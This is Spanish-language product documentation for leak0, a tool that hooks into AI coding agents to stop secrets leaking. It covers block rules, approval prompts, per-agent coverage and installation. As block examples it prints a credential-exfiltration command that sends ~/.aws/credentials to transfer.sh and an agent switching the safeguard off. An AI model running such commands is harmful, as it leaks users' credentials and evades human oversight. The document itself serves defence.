Comentar este tema con una IA

Obtiene una respuesta de la documentación y la página de la que procede.

leak0 · Agentic DLP

Agentic DLP: proteger secretos en agentes de IA

leak0 revisa las entradas, las llamadas a herramientas y su salida en sus agentes de IA a través de sus hooks, en el propio dispositivo. Solo bloquea con prueba.

~5 min de lectura · leak0 · Agentic DLP

Qué se revisa

VíaEjemplo
Commit y subidagit add, git push, npm publish
Red y herramientascurl, scp, consultas web, llamadas MCP
Secreto hacia el modelocat ~/.aws/credentials, env, un token en su entrada
Secreto en archivos equivocadosUn token fijo en el código, en un archivo de CI, un README o un archivo de memoria

Cuándo bloquea leak0

Un bloqueo necesita una de cinco pruebas. Sin prueba, leak0 pregunta, sustituye el valor por un marcador o da un aviso al agente.

PruebaCondiciónEjemplo
B1 Archivo de credencialesLa llamada afecta a un archivo de credenciales conocido cuyo contenido confirma el tipo.~/.aws/credentials, una clave SSH privada
B2 Token con suma de verificaciónUn token con prefijo conocido y suma de verificación válida.ghp_…, npm_…, glpat-…
B3 Valor conocidoUn secreto detectado en esta sesión aparece literalmente en una llamada saliente.La clave de AWS en el cuerpo de una llamada curl
B4 Destino ajenoEl secreto va a un destino que de forma probada no es suyo, como un servicio de paste o de túnel o una IP pública.curl -F f=@~/.aws/credentials https://transfer.sh
B5 DesactivaciónEl agente desactiva leak0 o cambia los hooks de PoisonZero.poison0 leak0 off, ejecutado por el agente

El mensaje al agente indica la prueba, la clase de regla (por ejemplo leak0:checksum_token_commit) y un hash corto, nunca el valor. Un teléfono vinculado recibe una notificación en cada bloqueo, sin valor, ruta ni comando.

Cuándo pregunta leak0

Cuando un secreto es probable pero no está probado, el agente se detiene antes de la llamada y le pregunta, por ejemplo con:

  • un nuevo archivo .env o de claves con valores reales en git add, git commit o git push,
  • un archivo de credenciales camino de sus propios servidores, por ejemplo con scp,
  • un token con suma de verificación en una carpeta de pruebas o de documentación.

Los marcadores como los de .env.example pasan sin pregunta.

Marcadores en la salida de herramientas

Cuando un secreto aparece en la salida de una herramienta, por ejemplo con cat .env, leak0 sustituye solo el valor antes de que el modelo lo vea: OPENAI_API_KEY=[leak0:openai:a1b2]. Si el valor no se puede aislar o la salida es demasiado grande para revisarla a tiempo, leak0 retiene toda la salida.

Las transcripciones y la telemetría del agente pueden seguir conteniendo el valor en texto claro.

Entradas

leak0 revisa su propia entrada, por ejemplo un token pegado, antes de que llegue al modelo.

Cobertura por agente

AgenteBloqueoPreguntaMarcadorEntrada
Claude CodeSíDiálogo del agenteSíSí
Codex (CLI e IDE)SíAviso 1SíSí
CursorSíDiálogo del agente 2Solo MCP 3Sí 4
Gemini CLISíAviso 1SíSí
Antigravity CLISíDiálogo del agenteNo 5No 5
  1. Sin diálogo desde el hook: la llamada se ejecuta y el agente recibe un aviso. Con un archivo de secretos en Git pregunta el diálogo de PoisonZero.
  2. En llamadas de shell y MCP.
  3. En salidas de shell y de archivos el agente recibe un aviso (auditoría: leak0_warned).
  4. No en el modo de impresión de Cursor CLI (-p).
  5. El agente solo ofrece un hook antes de la llamada a herramienta.

Todos los agentes compatibles con sus sistemas operativos: Agentes compatibles. En el dispositivo, poison0 leak0 status muestra cada agente como protegido, protegido en parte o no protegido.

Aprobaciones

Un archivo de secretos en Git se aprueba así, según el agente y el entorno:

VíaFuncionamiento
Diálogo del agenteClaude Code, Cursor y Antigravity CLI preguntan en su propio diálogo de confirmación.
Diálogo de PoisonZeroCodex y Gemini CLI. Bloquear está preseleccionado; Permitir exige su inicio de sesión del sistema (Touch ID, Seguridad de Windows o polkit). Sin respuesta tras 90 segundos: bloqueo.
Su propio terminalSin escritorio, por ejemplo por SSH: poison0 leak0 allow <archivo> aprueba el contenido actual durante 10 minutos de commits y un push, confirmado con su contraseña.

Un agente no puede dar su inicio de sesión del sistema. Si ejecuta él mismo poison0 leak0 allow, leak0 bloquea (B5). Si el interruptor del perfil cloud Los usuarios pueden aprobar ellos mismos commits con archivos de secretos está desactivado (por defecto: activado), leak0 bloquea con cada agente y rechaza allow.

Modos

ModoEfecto
Activado (enforce)Bloquea con prueba, pregunta, sustituye secretos y da avisos.
Observar (observe)Registra cada coincidencia y nunca interviene.
Desactivado (off)Sin revisión. Se aplica hasta que alguien active leak0 de forma deliberada.

Los dispositivos cloud siguen el perfil de la consola, los privados el ajuste local. leak0 funciona con independencia de exec0.

Activar

  • Instalador: pregunta el modo, Activado está preseleccionado.
  • Desatendido (MDM, scripts): PZ_SETUP_LEAK0=enforce. Sin la variable, leak0 queda desactivado.
  • Consola (dispositivos cloud): Settings → Perfiles, sección leak0. Los dispositivos adoptan el modo en su próxima sincronización.
  • Dispositivo privado: sudo poison0 leak0 enforce.
bashInstalar con leak0 activado
curl -fsSL https://poisonzero.com/install.sh | sudo PZ_SETUP_LEAK0=enforce sh
powershellInstalar con leak0 activado
$env:PZ_SETUP_LEAK0='enforce'
irm https://poisonzero.com/install.ps1 | iex

Una actualización nunca activa leak0. Codex pregunta una vez si confía en el nuevo hook: confírmelo en Codex con /hooks.

Resultados

Cada decisión queda en la auditoría local, en dispositivos cloud también en la auditoría de la consola. Los bloqueos y los valores sustituidos cuentan como incidentes. El valor secreto, la ruta y el comando nunca aparecen. Todas las acciones: referencia de leak0.